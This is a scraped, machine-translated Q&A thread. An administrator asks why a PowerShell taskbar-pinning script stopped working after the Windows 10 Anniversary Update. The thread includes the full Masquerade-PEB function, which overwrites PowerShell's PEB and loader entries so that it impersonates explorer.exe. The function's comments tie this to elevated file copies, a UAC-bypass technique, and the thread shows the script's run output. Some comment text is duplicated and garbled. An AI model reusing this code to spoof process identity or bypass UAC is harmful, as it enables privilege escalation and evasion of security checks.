Powershell 化妆舞会PEB周年后更新
是否有人可以验证此代码在Windows 10周年纪念后更新中仍然有效。我正试图用它来解决Windows 10中的PinToTaskbar问题,但它似乎在周年纪念更新后不再有效(但是,我遇到了一些错误,比如Powershell 化妆舞会PEB周年后更新,powershell,Powershell,是否有人可以验证此代码在Windows 10周年纪念后更新中仍然有效。我正试图用它来解决Windows 10中的PinToTaskbar问题,但它似乎在周年纪念更新后不再有效(但是,我遇到了一些错误,比如“无法将null转换为”System.IntPtr“类型,,这表明代码可能需要修改,而不是说它现在完全不起作用。 如果微软给了我们一个组策略机制来为特定的程序启用PinToTaskbar,这一切就会容易得多。你知道,就像用来管理机器的内部代码一样。;) 编辑:我无法重新创建看到的特定错误。但最终
“无法将null转换为”System.IntPtr“类型,
,这表明代码可能需要修改,而不是说它现在完全不起作用。
如果微软给了我们一个组策略机制来为特定的程序启用PinToTaskbar,这一切就会容易得多。你知道,就像用来管理机器的内部代码一样。;)
编辑:我无法重新创建看到的特定错误。但最终的结果是,它并没有使Pin到任务栏成为可能。实现的代码如下所示
function PinToTaskbar {
param([Parameter(Mandatory=$true)][string]$FilePath)
ExecuteVerb $FilePath "taskbarpin"
}
function UnpinFromTaskbar {
param([Parameter(Mandatory=$true)][string]$FilePath)
ExecuteVerb $FilePath "taskbarunpin"
}
function PinToStartmenu {
param([Parameter(Mandatory=$true)][string]$FilePath)
ExecuteVerb $FilePath "startpin"
}
function UnpinFromStartmenu {
param([Parameter(Mandatory=$true)][string]$FilePath)
ExecuteVerb $FilePath "startunpin"
}
function ExecuteVerb {
param(
[Parameter(Mandatory=$true)][string]$File,
[Parameter(Mandatory=$true)][string]$Verb
)
$path = [System.Environment]::ExpandEnvironmentVariables($File)
$basePath = split-path $path -parent #retrieve only the path File=C:\Windows\notepad.exe -> C:\Windows
$targetFile = split-path $path -leaf #retrieve only the file File=C:\Windows\notepad.exe -> notepad.exe
$shell = new-object -com "Shell.Application"
$folder = $shell.Namespace($basePath)
if ($folder)
{
$item = $folder.Parsename($targetFile)
if ($item)
{
$item.invokeverb($Verb)
# "This method does not return a value." (http://msdn.microsoft.com/en-us/library/windows/desktop/bb787816%28v=vs.85%29.aspx)
# Therefore we have no chance to know if this was successful...
write-host "Method [$Verb] executed for [$path]"
}
else
{
write-host "Target file [$targetFile] not found, aborting"
}
}
else
{
write-host "Folder [$basePath] not found, aborting"
}
}
function Masquerade-PEB {
<#
.SYNOPSIS
Masquerade-PEB uses NtQueryInformationProcess to get a handle to powershell's
PEB. From there itreplaces a number of UNICODE_STRING structs in memory to
give powershell the appearance of a different process. Specifically, the
function will overwrite powershell's "ImagePathName" & "CommandLine" in
_RTL_USER_PROCESS_PARAMETERS and the "FullDllName" & "BaseDllName" in the
_LDR_DATA_TABLE_ENTRY linked list.
This can be useful as it would fool any Windows work-flows which rely solely
on the Process Status API to check process identity. A practical example would
be the IFileOperation COM Object which can perform an elevated file copy if it
thinks powershell is really explorer.exe ;)!
Notes:
* Works on x32/64.
* Most of these API's and structs are undocumented. I strongly recommend
@rwfpl's terminus project as a reference guide!
+ http://terminus.rewolf.pl/terminus/
* Masquerade-PEB is basically a reimplementation of two functions in UACME
by @hFireF0X. My code is quite different because, unfortunately, I don't
have access to all those c++ goodies and I could not get a callback for
LdrEnumerateLoadedModules working!
+ supMasqueradeProcess: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L504
+ supxLdrEnumModulesCallback: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L477
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.EXAMPLE
C:\PS> Masquerade-PEB -BinPath "C:\Windows\explorer.exe"
#>
param (
[Parameter(Mandatory = $True)]
[string]$BinPath
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct UNICODE_STRING
{
public UInt16 Length;
public UInt16 MaximumLength;
public IntPtr Buffer;
}
[StructLayout(LayoutKind.Sequential)]
public struct _LIST_ENTRY
{
public IntPtr Flink;
public IntPtr Blink;
}
[StructLayout(LayoutKind.Sequential)]
public struct _PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebBaseAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public UIntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
/// Partial _PEB
[StructLayout(LayoutKind.Explicit, Size = 64)]
public struct _PEB
{
[FieldOffset(12)]
public IntPtr Ldr32;
[FieldOffset(16)]
public IntPtr ProcessParameters32;
[FieldOffset(24)]
public IntPtr Ldr64;
[FieldOffset(28)]
public IntPtr FastPebLock32;
[FieldOffset(32)]
public IntPtr ProcessParameters64;
[FieldOffset(56)]
public IntPtr FastPebLock64;
}
/// Partial _PEB_LDR_DATA
[StructLayout(LayoutKind.Sequential)]
public struct _PEB_LDR_DATA
{
public UInt32 Length;
public Byte Initialized;
public IntPtr SsHandle;
public _LIST_ENTRY InLoadOrderModuleList;
public _LIST_ENTRY InMemoryOrderModuleList;
public _LIST_ENTRY InInitializationOrderModuleList;
public IntPtr EntryInProgress;
}
/// Partial _LDR_DATA_TABLE_ENTRY
[StructLayout(LayoutKind.Sequential)]
public struct _LDR_DATA_TABLE_ENTRY
{
public _LIST_ENTRY InLoadOrderLinks;
public _LIST_ENTRY InMemoryOrderLinks;
public _LIST_ENTRY InInitializationOrderLinks;
public IntPtr DllBase;
public IntPtr EntryPoint;
public UInt32 SizeOfImage;
public UNICODE_STRING FullDllName;
public UNICODE_STRING BaseDllName;
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern UInt32 GetLastError();
[DllImport("kernel32.dll")]
public static extern Boolean VirtualProtectEx(
IntPtr hProcess,
IntPtr lpAddress,
UInt32 dwSize,
UInt32 flNewProtect,
ref UInt32 lpflOldProtect);
[DllImport("kernel32.dll")]
public static extern Boolean WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
IntPtr lpBuffer,
UInt32 nSize,
ref UInt32 lpNumberOfBytesWritten);
}
public static class Ntdll
{
[DllImport("ntdll.dll")]
public static extern int NtQueryInformationProcess(
IntPtr processHandle,
int processInformationClass,
ref _PROCESS_BASIC_INFORMATION processInformation,
int processInformationLength,
ref int returnLength);
[DllImport("ntdll.dll")]
public static extern void RtlEnterCriticalSection(
IntPtr lpCriticalSection);
[DllImport("ntdll.dll")]
public static extern void RtlLeaveCriticalSection(
IntPtr lpCriticalSection);
}
"@
# Flag architecture $x32Architecture/!$x32Architecture
if ([System.IntPtr]::Size -eq 4) {
$x32Architecture = 1
}
# Current Proc handle
$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
# Helper function to overwrite UNICODE_STRING structs in memory
function Emit-UNICODE_STRING {
param(
[IntPtr]$hProcess,
[IntPtr]$lpBaseAddress,
[UInt32]$dwSize,
[String]$data
)
# Set access protections -> PAGE_EXECUTE_READWRITE
[UInt32]$lpflOldProtect = 0
$CallResult = [Kernel32]::VirtualProtectEx($hProcess, $lpBaseAddress, $dwSize, 0x40, [ref]$lpflOldProtect)
# Create replacement struct
$UnicodeObject = New-Object UNICODE_STRING
$UnicodeObject_Buffer = $data
[UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2
[UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1
[IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer)
[IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dwSize)
[system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true)
# Overwrite PEB UNICODE_STRING struct
[UInt32]$lpNumberOfBytesWritten = 0
$CallResult = [Kernel32]::WriteProcessMemory($hProcess, $lpBaseAddress, $InMemoryStruct, $dwSize, [ref]$lpNumberOfBytesWritten)
# Free $InMemoryStruct
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($InMemoryStruct)
}
# Process Basic Information
$PROCESS_BASIC_INFORMATION = New-Object _PROCESS_BASIC_INFORMATION
$PROCESS_BASIC_INFORMATION_Size = [System.Runtime.InteropServices.Marshal]::SizeOf($PROCESS_BASIC_INFORMATION)
$returnLength = New-Object Int
$CallResult = [Ntdll]::NtQueryInformationProcess($ProcHandle, 0, [ref]$PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION_Size, [ref]$returnLength)
# PID & PEB address
echo "`n[?] PID $($PROCESS_BASIC_INFORMATION.UniqueProcessId)"
if ($x32Architecture) {
echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())"
} else {
echo "[+] PebBaseAddress: 0x$("{0:X16}" -f $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64())"
}
# Lazy PEB parsing
$_PEB = New-Object _PEB
$_PEB = $_PEB.GetType()
$BufferOffset = $PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$PEBFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB)
# Take ownership of PEB
# Not sure this is strictly necessary but why not!
if ($x32Architecture) {
[Ntdll]::RtlEnterCriticalSection($PEBFlags.FastPebLock32)
} else {
[Ntdll]::RtlEnterCriticalSection($PEBFlags.FastPebLock64)
} echo "[!] RtlEnterCriticalSection --> &Peb->FastPebLock"
# &Peb->ProcessParameters->ImagePathName/CommandLine
if ($x32Architecture) {
# Offset to &Peb->ProcessParameters
$PROCESS_PARAMETERS = $PEBFlags.ProcessParameters32.ToInt64()
# x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr
[UInt32]$StructSize = 8
$ImagePathName = $PROCESS_PARAMETERS + 0x38
$CommandLine = $PROCESS_PARAMETERS + 0x40
} else {
# Offset to &Peb->ProcessParameters
$PROCESS_PARAMETERS = $PEBFlags.ProcessParameters64.ToInt64()
# x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr
[UInt32]$StructSize = 16
$ImagePathName = $PROCESS_PARAMETERS + 0x60
$CommandLine = $PROCESS_PARAMETERS + 0x70
}
# Overwrite PEB struct
# Can easily be extended to other UNICODE_STRING structs in _RTL_USER_PROCESS_PARAMETERS(/or in general)
$ImagePathNamePtr = New-Object System.Intptr -ArgumentList $ImagePathName
$CommandLinePtr = New-Object System.Intptr -ArgumentList $CommandLine
if ($x32Architecture) {
echo "[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x$("{0:X8}" -f $ImagePathName)"
echo "[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x$("{0:X8}" -f $CommandLine)"
} else {
echo "[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x$("{0:X16}" -f $ImagePathName)"
echo "[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x$("{0:X16}" -f $CommandLine)"
}
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $ImagePathNamePtr -dwSize $StructSize -data $BinPath
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $CommandLinePtr -dwSize $StructSize -data $BinPath
# &Peb->Ldr
$_PEB_LDR_DATA = New-Object _PEB_LDR_DATA
$_PEB_LDR_DATA = $_PEB_LDR_DATA.GetType()
if ($x32Architecture) {
$BufferOffset = $PEBFlags.Ldr32.ToInt64()
} else {
$BufferOffset = $PEBFlags.Ldr64.ToInt64()
}
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
$LDRFlags = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_PEB_LDR_DATA)
# &Peb->Ldr->InLoadOrderModuleList->Flink
$_LDR_DATA_TABLE_ENTRY = New-Object _LDR_DATA_TABLE_ENTRY
$_LDR_DATA_TABLE_ENTRY = $_LDR_DATA_TABLE_ENTRY.GetType()
$BufferOffset = $LDRFlags.InLoadOrderModuleList.Flink.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
# Traverse doubly linked list
# &Peb->Ldr->InLoadOrderModuleList->InLoadOrderLinks->Flink
# This is probably overkill, powershell.exe should always be the first entry for InLoadOrderLinks
echo "[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list"
while ($ListIndex -ne $LDRFlags.InLoadOrderModuleList.Blink) {
$LDREntry = [system.runtime.interopservices.marshal]::PtrToStructure($NewIntPtr, [type]$_LDR_DATA_TABLE_ENTRY)
if ([System.Runtime.InteropServices.Marshal]::PtrToStringUni($LDREntry.FullDllName.Buffer) -like "*powershell.exe*") {
if ($x32Architecture) {
# x86 UNICODE_STRING struct's --> Size 8-bytes = (UInt16*2)+IntPtr
[UInt32]$StructSize = 8
$FullDllName = $BufferOffset + 0x24
$BaseDllName = $BufferOffset + 0x2C
} else {
# x64 UNICODE_STRING struct's --> Size 16-bytes = (UInt16*2)+IntPtr
[UInt32]$StructSize = 16
$FullDllName = $BufferOffset + 0x48
$BaseDllName = $BufferOffset + 0x58
}
# Overwrite _LDR_DATA_TABLE_ENTRY struct
# Can easily be extended to other UNICODE_STRING structs in _LDR_DATA_TABLE_ENTRY(/or in general)
$FullDllNamePtr = New-Object System.Intptr -ArgumentList $FullDllName
$BaseDllNamePtr = New-Object System.Intptr -ArgumentList $BaseDllName
if ($x32Architecture) {
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x$("{0:X8}" -f $FullDllName)"
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x$("{0:X8}" -f $BaseDllName)"
} else {
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x$("{0:X16}" -f $FullDllName)"
echo "[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x$("{0:X16}" -f $BaseDllName)"
}
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $FullDllNamePtr -dwSize $StructSize -data $BinPath
Emit-UNICODE_STRING -hProcess $ProcHandle -lpBaseAddress $BaseDllNamePtr -dwSize $StructSize -data $BinPath
}
$ListIndex = $BufferOffset = $LDREntry.InLoadOrderLinks.Flink.ToInt64()
$NewIntPtr = New-Object System.Intptr -ArgumentList $BufferOffset
}
# Release ownership of PEB
if ($x32Architecture) {
[Ntdll]::RtlLeaveCriticalSection($PEBFlags.FastPebLock32)
} else {
[Ntdll]::RtlLeaveCriticalSection($PEBFlags.FastPebLock64)
} echo "[!] RtlLeaveCriticalSection --> &Peb->FastPebLock`n"
}
Masquerade-PEB -BinPath "explorer.exe"
PinToTaskbar 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk'
#UnpinFromTaskbar "%WINDIR%\notepad.exe"
PinToStartmenu 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk'
#UnpinFromStartmenu "%WINDIR%\notepad.exe"
# Verify here C:\Users\Px_Install\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu
# and here C:\Users\Px_Install\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar
您可以发布完整的错误记录吗?并且,刚刚验证了Pin-to-Taskbar代码在Windows 10周年纪念前更新中是否正常工作。所以问题是,AU是否填补了伪装PEB利用的“漏洞”?希望它已经关闭:链接到-但雷蒙德·陈(Raymond Chen)的微软风格已经过时,谁知道这是否仍然是当前的想法。好吧,通过集团政策机制关闭,以允许我们自己的自动化工作将是理想的。我理解开发人员使用it作为营销工具的挫折感,但当it以一种公司的技术经理无法使用it作为宣传新安装软件的方式关闭时,这是一个真正的问题。感觉就像微软把婴儿和洗澡水一起扔掉了。然后,微软又一次阻止了将LNK,甚至LNK发送到网络资源,发送到电子邮件中,甚至发送到域中其他人的电子邮件中。下意识的反应很少是一个好的解决方案(你能发布完整的错误记录吗?而且,刚刚验证了Pin-to-Taskbar代码在Windows 10周年纪念前更新中正常工作。所以问题是,AU是否关闭了“漏洞”那个伪装的PEB利用了?希望它是关闭的:链接到-但是Raymond Chen的微软风格已经过时了,谁知道这是否仍然是当前的想法。好吧,关闭一个允许我们自己的自动化工作的组策略机制将是理想的。我理解开发者使用它作为营销手段的沮丧工具,但当它以一种公司的技术经理不能用它来宣传新安装的软件的方式关闭时,例如,这是一个真正的问题。感觉好像微软已经把婴儿和洗澡水一起扔掉了。然后,微软再次阻止了将LNK,甚至LNK放到网络资源中的能力,在电子邮件中,甚至在电子邮件中对该领域的其他人来说,下意识的反应很少是一个好的解决方案(
[?] PID 4904
[+] PebBaseAddress: 0x00000026120AD000
[!] RtlEnterCriticalSection --> &Peb->FastPebLock
[>] Overwriting &Peb->ProcessParameters.ImagePathName: 0x0000013771C41950
[>] Overwriting &Peb->ProcessParameters.CommandLine: 0x0000013771C41960
[?] Traversing &Peb->Ldr->InLoadOrderModuleList doubly linked list
[>] Overwriting _LDR_DATA_TABLE_ENTRY.FullDllName: 0x0000013771C42418
[>] Overwriting _LDR_DATA_TABLE_ENTRY.BaseDllName: 0x0000013771C42428
[!] RtlLeaveCriticalSection --> &Peb->FastPebLock
Method [taskbarpin] executed for [C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk]
Method [startpin] executed for [C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Accessories\Snipping Tool.lnk]
PS Microsoft.PowerShell.Core\FileSystem::\\Mac\Px\Support\Px Tools\x_PS Dev>